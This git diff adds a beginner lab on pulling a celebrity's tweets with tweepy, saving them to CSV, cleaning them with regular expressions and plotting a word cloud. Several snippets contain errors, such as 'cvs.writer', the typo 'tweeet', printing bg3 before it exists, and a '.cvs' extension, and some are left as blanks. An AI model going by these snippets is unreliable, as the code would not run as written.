Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-01-18 at 5.02.34 PM.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-04-05 at 9.11.46 PM copy.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-04-05 at 9.11.46 PM copy.png
new file mode 100644
index 00000000..0bd5e928
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-04-05 at 9.11.46 PM copy.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-04-06 at 3.15.04 PM.png b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-04-06 at 3.15.04 PM.png
new file mode 100644
index 00000000..0eea142f
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/Screen Shot 2020-04-06 at 3.15.04 PM.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/streaming.jpeg b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/streaming.jpeg
new file mode 100644
index 00000000..72cb0843
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics/streaming.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/README.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/README.md
new file mode 100644
index 00000000..3a4c6630
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/README.md
@@ -0,0 +1,252 @@
+# github_id
+
+19
+
+
+
+# name
+
+Streaming Tweets Using Twitter API
+
+
+
+# description
+
+Begin working with Twitter Data and learn about dataframes, streaming tweets, JSON files, and formatting DataFrames.
+
+
+
+# summary
+
+We will go step by step to better the understandings about Twitter API by working with Twitter Data, Dataframes, Streaming/processing classes, JSON files.
+
+
+
+# difficulty
+
+Easy
+
+
+
+# image
+
+
+
+# image_folder
+
+Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Activity2_Stream Twitter API/Activity2Pics
+
+
+
+# cards
+
+
+
+## 1
+
+
+
+### name
+
+Configuring Access Tokens
+
+
+
+### order
+
+1
+
+
+
+### gems
+
+10
+
+
+
+## 2
+
+
+
+### name
+
+Working With Twitter Data
+
+
+
+### order
+
+2
+
+
+
+### gems
+
+10
+
+## 3
+
+
+
+### name
+
+Streaming and Processing Class
+
+
+
+### order
+
+3
+
+
+
+### gems
+
+10
+
+
+
+## 4
+
+
+
+### name
+
+Handling Twitter Authentication
+
+
+
+### order
+
+4
+
+
+
+### gems
+
+10
+
+## 5
+
+
+
+### name
+
+Accessing Data
+
+
+
+### order
+
+5
+
+
+
+### gems
+
+10
+
+
+
+## 6
+
+
+
+### name
+
+Retrieving Data
+
+
+
+### order
+
+6
+
+
+
+### gems
+
+100
+
+## 7
+
+
+
+### name
+
+Dataframes
+
+
+
+### order
+
+7
+
+
+
+### gems
+
+10
+
+
+
+## 8
+
+
+
+### name
+
+Reading Data
+
+
+
+### order
+
+8
+
+
+
+### gems
+
+10
+
+## 9
+
+
+
+### name
+
+JSON Files
+
+
+### order
+
+9
+
+
+
+### gems
+
+10
+
+
+
+## 10
+
+
+
+### name
+
+Formatting Our Dataframes
+
+
+
+### order
+
+10
+
+
+
+### gems
+
+10
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/0.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/0.md
new file mode 100644
index 00000000..9556a000
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/0.md
@@ -0,0 +1,43 @@
+Before we start to write the program obtaining tweets, we should be able to use the python-twitter API client first.
+
+To do that, you need to acquire and declare a set of application tokens.
+
+
+
+Token is a form of authentication that an application will use when requesting access to your service. You can think of it like a username/password. Your service will generate tokens for the application to use when accessing your service, such as analyzing your data. So we want to obtain this tokens first.
+
+
+
+These tokens will be your `consumer_key` and `consumer_secret`, which get passed to `twitter.Api()` when starting your application.
+
+Name the tokens `consumer_key`, `consumer_secret`, `access_token_key`, and `access_token_secret`.
+
+### Join as a Developer
+
+First, Head over to the website https://developer.twitter.com/en/apply-for-access to create a Twitter Developer Account and click the "Create New App" button. Fill out the fields on the next page that looks like this:
+
+
+
+### Create APP and Obtain Tokens
+
+After your app is created, you will see a new page that shows some information about your app.
+
+
+
+Click on the “Keys and Access Tokens” tab on the top of the page, you will find `consumer_key`, `consumer_secret`, `access_token_key`, and `access_token_secret`.
+
+Copy the information needed and declare the keys as follows:
+
+```python
+consumer_key = ''
+consumer_secret = ''
+access_token_key = ''
+access_token_secret = ''
+```
+
+By the end of this step, you should have gotten the `consumer_key`
+
+
+
+Click [here](https://python-twitter.readthedocs.io/en/latest/) for more reference about python-twitter API. Also the [documentation](https://github.com/bear/python-twitter) of python-twitter on github.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/1.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/1.md
new file mode 100644
index 00000000..194d0599
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/1.md
@@ -0,0 +1,8 @@
+
+
+
+=======
+
+You should start off by importing our necessary libraries. The libraries we will be using are:
+
+`tweepy`, `pandas`, `sys`, `csv`, `WordCloud` and `STOPWORDS` from `wordcloud`, `matplotlib`, `matplotlib.pyplot`, `string`, `re`, `PIL`
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/11.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/11.md
new file mode 100644
index 00000000..2d03c653
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/11.md
@@ -0,0 +1,10 @@
+
+
+### Step 1: Importing Libraries
+
+You can simply import a library, or you can import a library and give it a preferred name by using
+
+```python
+import as
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/111.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/111.md
new file mode 100644
index 00000000..a6a753fa
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/111.md
@@ -0,0 +1,19 @@
+
+
+### Step 1: Importing Libraries
+
+All the libraries you should import are
+
+```python
+import tweepy
+import pandas as pd
+import sys
+import csv
+from wordcloud import WordCloud, STOPWORDS
+import matplotlib as mpl
+import matplotlib.pyplot as plt
+import string
+import re
+from PIL import Image
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/2.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/2.md
new file mode 100644
index 00000000..2322bdc7
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/2.md
@@ -0,0 +1,21 @@
+
+
+
+
+Now, let's start to get the tweets from the celebrity. To do this, we create a function to extract tweets.
+
+
+
+Define a function called `get_tweet()` which takes the parameter `username`. Then, gain authorization to the **consumer key** and **consumer secret**.
+
+A **consumer key** is the key that a service provider, in our case Twitter, issues to a consumer that allows the consumer to access the API. **Consumer secret** is the consumer "password" that is used along with the consumer key.
+
+
+
+The next thing we want to do is to gain access to the **access key** and **access secret**.
+
+The **access token** and **access secret** are used to make API requests on your account's behalf.
+
+
+
+Once we are done with the authorization procedure, we move on by calling the API.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/21.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/21.md
new file mode 100644
index 00000000..f012fa3b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/21.md
@@ -0,0 +1,11 @@
+
+
+### Step 1: What Do We Need to Access People's Tweets?
+
+In our `get_tweets(username)` function, we need to get authorization to our consumer key and consumer secret and gain access to the user's access key and access secret.
+
+
+
+### Step 2: Call API
+
+After we are done with that, we call the API by declaring the variable `api` using the `tweepy.API` function.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/211.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/211.md
new file mode 100644
index 00000000..bd03a3be
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/211.md
@@ -0,0 +1,30 @@
+
+
+Start off by defining the function:
+
+```python
+def get_tweet(username):
+```
+
+
+
+### Step 1: Code to Gain Consumer's Information
+
+We could call the `OAuthHandler()` function from by `tweepy` library by using the dot operator.
+
+`tweepy.OAuthHandler()` is a function that returns an instance of an OAuthHandler object, which contains pre-written methods that will help you in the authorization process. It takes in 2 arguments, the consumer key and consumer secret. We can fill these in with the ones that were generated for you in the Twitter Developer App.
+
+```python
+auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
+```
+
+
+
+### Step 2: Code to Store Access Tokens
+
+There is a handy method that is built into the OAuthHandler object that allows us to store our consumer key and consumer secret so that we can rebuild our OAuthHandler.
+
+```python
+auth.set_access_token(access_token_key, access_token_secret)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/212.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/212.md
new file mode 100644
index 00000000..33ff74ff
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/212.md
@@ -0,0 +1,10 @@
+
+
+### Step 1: Code to Call API
+
+The next thing we want to move on to is to call the Twitter API. Do so by the following:
+
+```python
+api = tweepy.API(auth)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/3.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/3.md
new file mode 100644
index 00000000..bbd60c54
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/3.md
@@ -0,0 +1,16 @@
+
+
+
+
+Now that the `get_tweet()` function can help us get access to the user's tweets, we want it to help us obtain a number of tweets from the user into a **list** and write it to a new **.csv file**.
+
+A **.csv file** is a "comma separated value file". They are delimited text files that uses commas to separate values. You generally see them in the form of Excel spreadsheets. We're going to be using a .csv file to keep our data easily accessible and organized in rows and columns. This is what they look like!
+
+
+
+
+First, we want to declare an empty **list** and name it `tfile` to store the extracted tweets from the user. Then, we can create a **for loop** to access the items in `tweepy.Cursor()` and append tweet data into the `tfile` list. [Here](http://docs.tweepy.org/en/v3.5.0/cursor_tutorial.html) is the documentation for `tweepy.Cursor()` function.
+
+
+The information that we want to append into `tfile` are `username`, `tweet.id_str`, `tweet.source`, `tweet.created_at`, `tweet.retweet_count`, `tweet.favourite_count`, and `tweet.text.encode("utf-8")`.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/31.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/31.md
new file mode 100644
index 00000000..95e749cb
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/31.md
@@ -0,0 +1,26 @@
+
+
+So let's continue to elaborate on our `get_tweet()` function.
+
+### Step 1: A List Variable
+
+First, we want to declare an empty **list** and name it `tfile` to store the extracted tweets from the user.
+
+### Step 2: Append Data
+
+Then, we can create a **for loop** to access the items in `tweepy.Cursor()` and append tweet data into the `tfile` list.
+
+Within the `for` loop, use the `append()` function on `tfile` to append
+
+- `username`
+- `tweet.id_str`
+- `tweet.source`
+- `tweet.created_at`
+- `tweet.retweet_count`
+- `tweet.favourite_count`
+- `tweet.text.encode("utf-8")`
+
+
+
+Note: `tweepy.Cursor` is a Callable that takes in a user timeline and id. It helps us iterate through the items in the specified user's tweets.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/311.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/311.md
new file mode 100644
index 00000000..18160226
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/311.md
@@ -0,0 +1,38 @@
+
+
+### Step 1: Creating a List to Store Tweets
+
+We can create an empty list using []:
+
+```python
+tfile = []
+```
+
+Then, we can use "for ... in ..." to access the items in the user's timeline:
+
+```python
+for tweet in tweepy.Cursor(api.user_timeline,screen_name=username).items():
+```
+
+### Step 2: Adding Data into the List
+
+In the for loop, we can directly add elements to the `tfile` list with the `append()` function by using dot operator , for example, to append the username, use
+
+
+```python
+tfile.append(username)
+```
+
+
+And similarly, you can append the rest of the data: `tweet.id_str`, `tweet.source`, `tweet.created_at`, `tweet.retweet_count`, `tweet.favourite_count`, and `tweet.text.encode("utf-8")`.
+
+```python
+tfile.append(username)
+tfile.append(tweet.id_str)
+tfile.append(tweet.source)
+tfile.append(tweet.created_at)
+tfile.append(tweet.retweet_count)
+tfile.append(tweet.favourite_count)
+tfile.append(tweet.text.encode("utf-8"))
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/32.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/32.md
new file mode 100644
index 00000000..a02c9251
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/32.md
@@ -0,0 +1,8 @@
+
+
+### Step 1: Copy from a List to .cvs File
+
+Once we have all our data we need in our `tfile` list, we copy them into a new csv file by declaring a new empty .csv file named `outfile`. To copy the data from `tfile` into the .csv file, we will use the `open()` and `writerow()` functions.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/321.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/321.md
new file mode 100644
index 00000000..aab6ae13
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/321.md
@@ -0,0 +1,12 @@
+
+
+### Step 1: Naming the New .cvs File
+
+First, let's name our new .cvs file. We want the name to contain the user's name followed by some explanations. The variable "outfile" stores the name for us.
+
+```python
+outfile = username + "_tweets_V1.cvs"
+```
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/322.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/322.md
new file mode 100644
index 00000000..7b1c9376
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/322.md
@@ -0,0 +1,30 @@
+
+
+### Step 1: Opening the new .cvs File
+
+Open and write in the .csv file by using the following line of code:
+
+```python
+with open(outfile,'w+') as file:
+```
+
+### Step 2: In What Form Do We Want To Store Our Data
+
+Under the opened file, use the `csv.writer(file,delimiter)`function to specify how our data should be separated. In this case, we want them to be separated by a comma. Store the return value of the function in a variable called `writer`.
+
+```python
+writer = cvs.writer(outfile, delimiter=",")
+```
+
+### Step 3: Writing to the .cvs File
+
+With the variable `writer`, we want to write in our .csv file. To make our data tidy and easy to understand, we write the categories on the first row of the .csv file and then add the data from `tfile` in the rows below it as shown:
+
+```python
+# category headings in the first row
+writer.writerow(['User_Name','Tweet_ID','Source','Created_date','Retweet_count',
+ 'Favourite_count','Tweet'])
+# data follows
+writer.writerow(tfile)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/4.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/4.md
new file mode 100644
index 00000000..4fe08fb1
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/4.md
@@ -0,0 +1,10 @@
+
+
+
+
+The next thing we will move on to is to create our main function.
+
+This function puts the tweets that we have obtained into a .csv file using the previous function we defined, then, cleanse them, and output a Wordcloud based on the highest number of repeated words.
+
+We will create a **dataframe** before we output as a Wordcloud. A dataFrame is a data structure with columns containing potentially different types of information. You can think of it like a spreadsheet or a SQL table.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/41.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/41.md
new file mode 100644
index 00000000..355d36a7
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/41.md
@@ -0,0 +1,14 @@
+
+
+Let's define a `main()` function and do the rest of our tasks there!
+
+### Step 1: Generate the .csv File
+
+In this function, we start by obtaining the tweet-filled .csv file with the specific username, using the `get_tweets()` function we previously defined.
+
+### Step 2: Read the .csv File and Check How It Goes!
+
+To read the .csv file that we generated from the `get_tweets()` function, we declare a variable `bg` that calls the function `read_csv()` from the `pandas` library.
+
+Check it by printing out the first 5 rows of data from `bg` using the `head()` function.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/411.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/411.md
new file mode 100644
index 00000000..20d04d04
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/411.md
@@ -0,0 +1,16 @@
+
+
+Start the main function by
+
+```python
+def main():
+```
+
+### Step 1: Get the Tweets Data
+
+First, we want to get all the tweets from the user we want. We call our `get_tweets()` function as below:
+
+```python
+get_tweets()
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/412.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/412.md
new file mode 100644
index 00000000..a0d6e596
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/412.md
@@ -0,0 +1,15 @@
+
+
+### Step 1: Read Through the Tweets Data
+
+Now we have the .cvs file generated by the `get_tweets()` function, and we would like to read through it and store it in the variable `bg` by using `read_cvs()`.
+
+```python
+bg = pd.read_csv(,encoding='utf-8')
+```
+
+### Step 2: Print Them Out!
+
+You can print the first `n` rows from your .csv file by using `print(bg.head(n))` to make sure everything is going smoothly.
+
+This will print out the first n items in `bg`.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/42.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/42.md
new file mode 100644
index 00000000..22e51a8f
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/42.md
@@ -0,0 +1,14 @@
+
+
+### Step 1: Find the Pattern to Be Cleansed
+
+To cleanse the data in `bg` and store it into another variable called `bg2`, we need to import the `re` library.
+
+
+
+
+
+### Step 2: Cleanse Data and Store them
+
+After defining the patterns we want to clean, we can cleanse the data with a for loop, and store them in another variable `bg2`.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/421.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/421.md
new file mode 100644
index 00000000..0979cd6a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/421.md
@@ -0,0 +1,25 @@
+
+
+### Step 1: Where to Store the Cleansed Data
+
+First, we need to declare a new empty list `bg2` to store the cleansed data later.
+
+```python
+bg2 = []
+```
+
+### Step 2: Find the Bad Patterns We Want to Clean
+
+Import the `re` library
+
+```python
+import re
+```
+
+Define the bad patterns
+
+```python
+pattern1 = re.compile(" ' # S % & ' ( ) * + , - . / : ; < = > @ [ / ] ^ _ { | } ~")
+pattern2 = re.compile("@[A-Za-z0-9]+")
+pattern3 = re.compile("https?://[A-Za-z0-9./]+")
+```
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/422.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/422.md
new file mode 100644
index 00000000..7645e6be
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/422.md
@@ -0,0 +1,27 @@
+
+
+### Step 1: Cleanse Data and Store the Cleansed Data
+
+Go through the data in `bg` using a for loop
+
+```python
+for index, row in bg.iterrows():
+```
+
+and append cleansed data to `bg2`
+
+```python
+if '\\' not in row ['Tweet']:
+ tweeet = re.sub(pattern1, "", row['Tweet'])
+ tweet = re.sub(pattern2, "", tweet)
+ tweet = re.sub(pattern3, "", tweet)
+ bg2.append(tweet)
+```
+
+### Step 2: Print Again!
+
+Print out `bg3` to make sure we have the data frame output that we want.
+
+```python
+print(bg3)
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/43.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/43.md
new file mode 100644
index 00000000..0c40c301
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/43.md
@@ -0,0 +1,14 @@
+
+
+Now we could make `bg2` into `bg3`, a two-dimentional size-mutable tabular data structure **dataframe**.
+
+### Step 1: Create a Dataframe
+
+After we have obtained our cleansed tweets in `bg2`, we create a new variable `bg3` that makes `bg2` into a data frame using the `DataFrame` function from the `pandas` library.
+
+
+
+### Step 2: Check How It Goes!
+
+Check it by printing out `bg3` to check for the right data frame output.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/431.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/431.md
new file mode 100644
index 00000000..79ee0785
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/431.md
@@ -0,0 +1,17 @@
+
+
+### Step 1: Creating a Data Frame
+
+Let's strore the cleansed data into a dataframe:
+
+```python
+bg3 = pd.DataFrame(bg2, columns = ['tweet'])
+```
+
+Note:
+
+`pd.DataFrame()` takes many parameters: data, index, columns, dtype, and copy, but we will only need to use the data and columns parameters. `data` is the information we are passing in, in our case the cleansed tweets in bg2, and `columns` is the column labels to be shown in our table.
+
+### Step 2: Print Them Out!
+
+Additionally, we can print out `bg3` to make sure we have the data frame output that we want.
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/5.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/5.md
new file mode 100644
index 00000000..7da18eef
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/5.md
@@ -0,0 +1,19 @@
+
+
+
+
+Our last step is to create a Wordcloud based on the dataframe of cleansed tweets.
+
+To do that, use the functions from `matplotlib`, `WordCloud`, and `matplotlib.pyplot` libraries.
+
+`matplotlib` is a plotting library for the Python programming language. It helps plotting in creating applications.
+
+`WordCloud` is a visual representation of text data. It displays a list of words, the importance of each beeing shown with font size or color.
+
+`matplotlib.pyplot` is a collection of command style functions that make matplotlib work like MATLAB. Each `pyplot` function makes some change to a figure: e.g., creates a figure, creates a plotting area in a figure, plots some lines in a plotting area, decorates the plot with labels, etc.
+
+Click [here](https://matplotlib.org/3.1.1/api/pyplot_summary.html) for more detail about the functions.
+
+After creating the WordCloud, save the figure as well!
+
+After that, compile your entire code and you are done!
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/51.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/51.md
new file mode 100644
index 00000000..2dae6061
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/51.md
@@ -0,0 +1,8 @@
+
+
+### Step 1: Setting WordCloud Parameters
+
+We start by setting the parameters of our Wordcloud plot. `rcParams()` function from the `matplotlib` library would help us do that.
+
+The parameters we want to set are `figure.figsize`, `font.size`, `savefig.dpi`, and `figure.subplot.bottom`.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/511.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/511.md
new file mode 100644
index 00000000..b61137b2
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/511.md
@@ -0,0 +1,23 @@
+
+
+### Step 1: Setting WordCould Figure
+
+We call the function `rcParams[]` from the `matplotlib` library by using the dot operator. It takes in the parameter as argument, and we can set it to what we want.
+
+For example, we can set `figure.figsize` to [3.5, 6.5] by
+
+```python
+mpl.rcParams['figure.figsize'] = [3.5, 6.5]
+```
+
+And similarly, we can set the other parameters `font.size`, `savefig.dpi`, and `figure.subplot.bottom` to the desired one.
+
+### Step 2: More Details about How to These Set Parameters
+
+The parameters `figure.figsize` and `font.size` should be pretty straight forward, you can set them to any integer value you'd like.
+
+`savefig.dpi` also can be set as an integer value. The value you set it to will be the resolution in dots per inch.
+
+`figure.subplot.bottom` sets the subplot layout. And it has parameters `left`, `right`, `bottom`, `top`, `wspace`,`hspace` to adjust. `wspace` is the amount of width reserved between subplots, and should expressed as a fraction of the average axis width.
+
+`hspace` is similar to `wspace` and it's the height reserved between subplots.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/52.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/52.md
new file mode 100644
index 00000000..5705d283
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/52.md
@@ -0,0 +1,17 @@
+
+
+The next thing we want to do is to create the Wordcloud using `STOPWORDS` and `WordCloud` from the `wordcloud` library.
+
+### Step 1: Setting Stopwords
+
+Set the stopwords using `set(STOPWORDS)`.
+
+### Step 2: Create the WordCloud
+
+Create the wordcloud using the function `WordCloud().generate()`.
+
+To use the function, we need to join the tweets together first.
+
+The `join()` method takes **iterable**, which are objects that are capable of returning its members one at a time. For example, List, Tuple, String, Dictionary and Set are all iterable.
+
+The parameters we want to edit in the `WordCloud()` function are `background_color`, `stopwords`, `max_words`, `max_font_size`, and `random_state`.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/521.md b/Computational-Social-Science-Twitter-Topic/Module1-Streaming-Tweets/Lab-Visualizing-Tweets-Celebrities/521.md
new file mode 100644
index 00000000..48fc016a
--- /dev/null
